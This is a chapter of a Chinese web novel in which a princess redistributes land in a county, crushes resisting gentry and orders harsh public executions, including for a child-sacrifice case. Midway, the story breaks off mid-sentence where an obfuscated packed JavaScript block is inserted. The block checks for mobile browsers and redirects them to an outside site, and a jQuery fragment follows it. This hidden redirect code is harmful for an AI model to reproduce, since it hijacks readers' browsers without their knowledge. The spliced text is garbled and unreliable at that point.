李乐安听完,只淡淡颔首:“倒是个识时务的聪明人。”
“接下来两日,辛苦诸位把投案的隐户、罚没的田土逐一厘清,按丁口实数造册,再依均田旧例,该分永业分永业,该给口分给口分,不许一毫差错。”
她声音不高,却像冷锋刮过案牍:“黄、徐、吴三府清查出的隐户,也照此办理,一体均配。”
孙文静躬身应诺,笔尖在簿册上落下干脆的“领命”二字。
三日后,晨雾未散,天色青灰。李乐安披一件月白常服,只携两名亲卫,悄然行至城隍庙前。脚步方停,她便微微一怔。
霞光穿透薄雾,将城隍庙前广场照得如同铺满金箔。黑压压的人群从庙门一直排到三街之外,粗布衣衫的农户扶着拄拐的老人,妇人怀中的婴孩吮着手指,无数双眼睛在雾中亮如星子。
羽林卫分开人群,将新绘的巨幅永县舆图悬挂在庙墙上。鲜红的朱笔将田地分割成整齐的方块,每个方块都标着陌生的姓名。
“开闸——”孙文静一声高喝,十二张案台在晨光中排开。文书们展开丈量工具,铜尺碰撞声如编钟清鸣。
第一个上前的是个赤脚少年。他小心翼翼递上木牌,文书挥毫时墨点溅到他皲裂的脚背上。“赵狗蛋,分永业田三亩,口分田两亩。”红印按下的刹那,少年突然扑倒在地,额头重重磕在青石板上。
如同潮水漫过沙滩,哭声与笑声在人群中荡开涟漪。有个汉子举着地契狂奔过市,嘶哑的呐喊惊起满城雀鸟:“有田了!俺家有田了!”
李乐安站在石狮旁,忽见个孩童将分到的饴糖掰成两半,塞进母亲嘴里。那糖浆粘稠的金色,竟与霞光融为一色。
第七日午时,三声炮响震彻全县。李乐安站在城楼上,看羽林卫分成十路奔赴各乡。
“报——赵家沟清出隐户三十七!”
“报——钱家庄抗拒清查,已围宅!”
“报——孙家集清出隐户二十三!”
孙文静匆匆登楼:“殿下,钱家煽动佃农卧田阻丈......”他顿了顿,接着说,“小旗官陆观…让人把佃农们抗走,将钱家全族捆了扔进打谷场。”
他忽然单膝跪地:“臣已罚陆观三月俸禄,命其在县衙抄录文书.....”
李乐安诧异抬眉,“你手下还能出这种机灵人?”她忽然轻笑,“传令,陆观擢升清丈使,总领丈田事。再赏半年俸禄,本宫就喜欢会变通的聪明人。”
孙文静急道,“殿下!若纵容此法,恐伤百姓......”
“孙校尉。”李乐安突然转身,“若按你的规矩,此刻我们该与佃农们坐在田头讲《周礼》?”她解下玉牌掷出,令牌在晨曦中划出流光,“告诉将士们凡阻丈者,皆以谋逆论处!”
“本宫就在这城楼上看着,哪家的田亩量不完,本宫亲自去量!”
孙文静迟疑片刻,终是深深揖礼:“臣...这就去传令。”
暮色降临时,第一批查抄的隐户地契送到了县衙。
“第一批共计清查隐户三百三十五户,其中钱家庄查出一百零二户。”孙文静顿了顿,继续说道,“那些佃农都妥善安置好了。”
陆观只是给他们每人发了一碗白米饭,那些佃农就老老实实的待着一动不动,哪看得出之前拿身体填壕沟的疯狂。
“三倍税银可收齐了?”李乐安问道。
“尽数入库。”陆观直接带人在钱家掘地三尺,将钱老爷的棺材本都翻出来了。其他乡绅这下哪敢抵抗,纷纷主动补足了税银。
见孙文静仍蹙着眉,李乐安轻笑一声,“非常时行非常法。若事事讲规矩,便是纵容豪强继续吸食民脂民膏。孙文静,你被规矩捆得太紧了。”
孙文静怔立原地,待回过神来时,只看到李乐安离开的背影。
经过陆观的一番操作,永县乡绅哪里还敢有抵抗的心思,连夜释放了隐户,补足了税银。
烛火通明的县衙大堂,税银堆积如山,白银的反光将梁柱映得雪亮。老主簿扶着算盘的手不停颤抖,珠玉碰撞声里夹杂着他喃喃的自语:“这...这比永县十年税赋还多啊......”
李乐安的指尖掠过冰凉的银锭,忽然轻声叹息:“要想富,先修路......”她望向窗外漆黑的官道,眼底闪过一丝遗憾。
孙文静隐约听见私语,躬身问道:“殿下有何吩咐?”
“我在想,”李乐安转身时裙摆扫过银箱,“不知道下一任县令是什么样的人。”她忽然轻笑,“罢了,吏部选官自有章程。”
“本届进士中应有贤才。”孙文静答得一丝不苟。
“这些时日辛苦诸位了,”李乐安突然提高声调,声音在银山间回荡,“每人可得五两辛苦钱!”
满堂吏员顿时骚动。一个老文书揉着酸痛的腰背,昏花的眼中泛起泪光,往日黄仁伟克扣俸银时,他们连给老母抓药的钱都要东拼西凑。如今这位公主虽让他们忙得脚不沾地,赏银却给得爽快。
角落里的年轻吏员偷偷掐了自己一把,喃喃道:“但愿这样的忙碌...再多几日才好。”
夜风穿堂而过,吹动满室烛火。银山投下的光影在墙上摇曳,恍若一条即将苏醒的银龙。
七昼夜的烛火未熄,当最后一卷户籍册用朱砂勾勒完毕,永县的重生图谱终于绘就。一千九百三十六户,这个数字让老主簿拨算盘的手都在发抖,几乎抵得上一个中县的规模了。
银矿那边的矿工,在分田政策的感召下,又有三成矿工拖着遍体鳞伤的身躯前来登记。他们用长满老茧的手接过地契时,总要反复摩挲好几遍,仿佛不相信这薄纸真能换来安身立命的田地。只有少数无亲无故的矿工选择留下,毕竟如今的工钱足以让他们挺直腰板做人。
李乐安没有继续招收矿工,后面皇帝定会安排专人过来处理银矿之事,她插手过多只会引来更多不满。
相比之下,她更关心百姓的冤屈,自从第一起伸冤的案子被李乐安雷厉风行的断案后,县衙前的登闻鼓几乎被敲破。
“徐家管家逼刘石头以孙女抵债,竟至骨肉分食,天理难容!主犯凌迟,抄家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221999|181556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
银百两偿苦主。胁从者一并处死,即刻执行!”
“钱家次子以印子钱盘剥,迫赵三投缳。判处绞刑,立刻执行!罚没其家产,并罚金百两以恤遗孤!”
“王庄倚势强占孙氏祖田,致其老幼流离。首恶鞭二十、徒刑三十年,仍追赔粮五十石归还原主!”
最骇人听闻的,是幼童失踪一案。
羽林卫从孙家地窖搜出几十具小儿骸骨,墙上还刻着“童男童女祭窑神”的符咒。下人的供词更令人发指:“为了请神保佑家族的富贵,孙家每岁都要用一对童男女活祭......”
仵作用白布铺在地上,将骸骨依次排开,最小的不过三四岁,最大的未及垂髫。
李乐安闻言,指节捏得青白,齿间迸声如碎冰,“孙氏满门凌迟,祖坟铲平撒盐,永世不得入土。”
行刑那日,全县百姓掷石砸人,扔出的石头堆成了小山。
永县的刑场,自李乐安到来,日日血流成河,却洗亮了百姓的眼睛。曾经惶恐的面庞,如今像春风吹过的麦田,一寸寸昂扬起来。
大街小巷,孩童蹦跳成群,稚嫩的声音此起彼伏。
晨风吹,日头亮
公主马来草青青
坏蛋头落地
好人有田耕~
金秤杆,银秤星
公主量地最公平
穷娃穿新鞋
老爷戴铁铃~
矿洞黑,矿洞深
公主点灯照明明
石头变米缸
镣铐碎纷纷~
东一家,西一家
公主拿笔断冤枉
红袖挥刀起,
豺狼都滚蛋!
……
这日午后,李乐安已将县衙官吏召至堂前。烛台下压着新拟的《永县政务纪要》,墨香犹带夜露的湿润。
“诸君听令。”她指尖划过章程扉页的朱批,“在新县令到任前,所有税赋按新册征收,不得增减分毫。”目光突然凝在刘主簿身上,“你暂领县丞职,若敢效仿黄仁伟手段......”
“砰”的一声,她将惊堂木拍在案上。
满堂官吏齐刷刷跪倒:“我等誓死恪守新政!”
离城的清晨,霞光还未染红屋檐,长街两边站满密密麻麻的人群。
见李乐安的车马驶过来,众人像是有所感应似得,竟齐刷刷的跪下了。
“恭送公主!”
“公主千岁千岁千千岁!”
李乐安的马车缓缓前行,车辕上渐渐堆满山货。带着泥的花生、用红绳扎的麦把、甚至有个孩童塞来的蜻蜓草编。当车队行至城郊,忽见山坡上站满百姓,人人手持火把,竟是连夜赶了二十里山路来送行。
孙文静突然勒马回望,只见永县城楼上新悬的巨匾正在朝阳中闪光,那是昨夜百姓偷偷挂上的“再生父母”四字。
马车驶过界碑时,李乐安忽然揭开帘幕。晨风卷来泥土的气息,混着新生禾苗的清香。她看见有个老妪正在田埂上焚香叩拜,青烟袅袅升起,与霞光融成一片。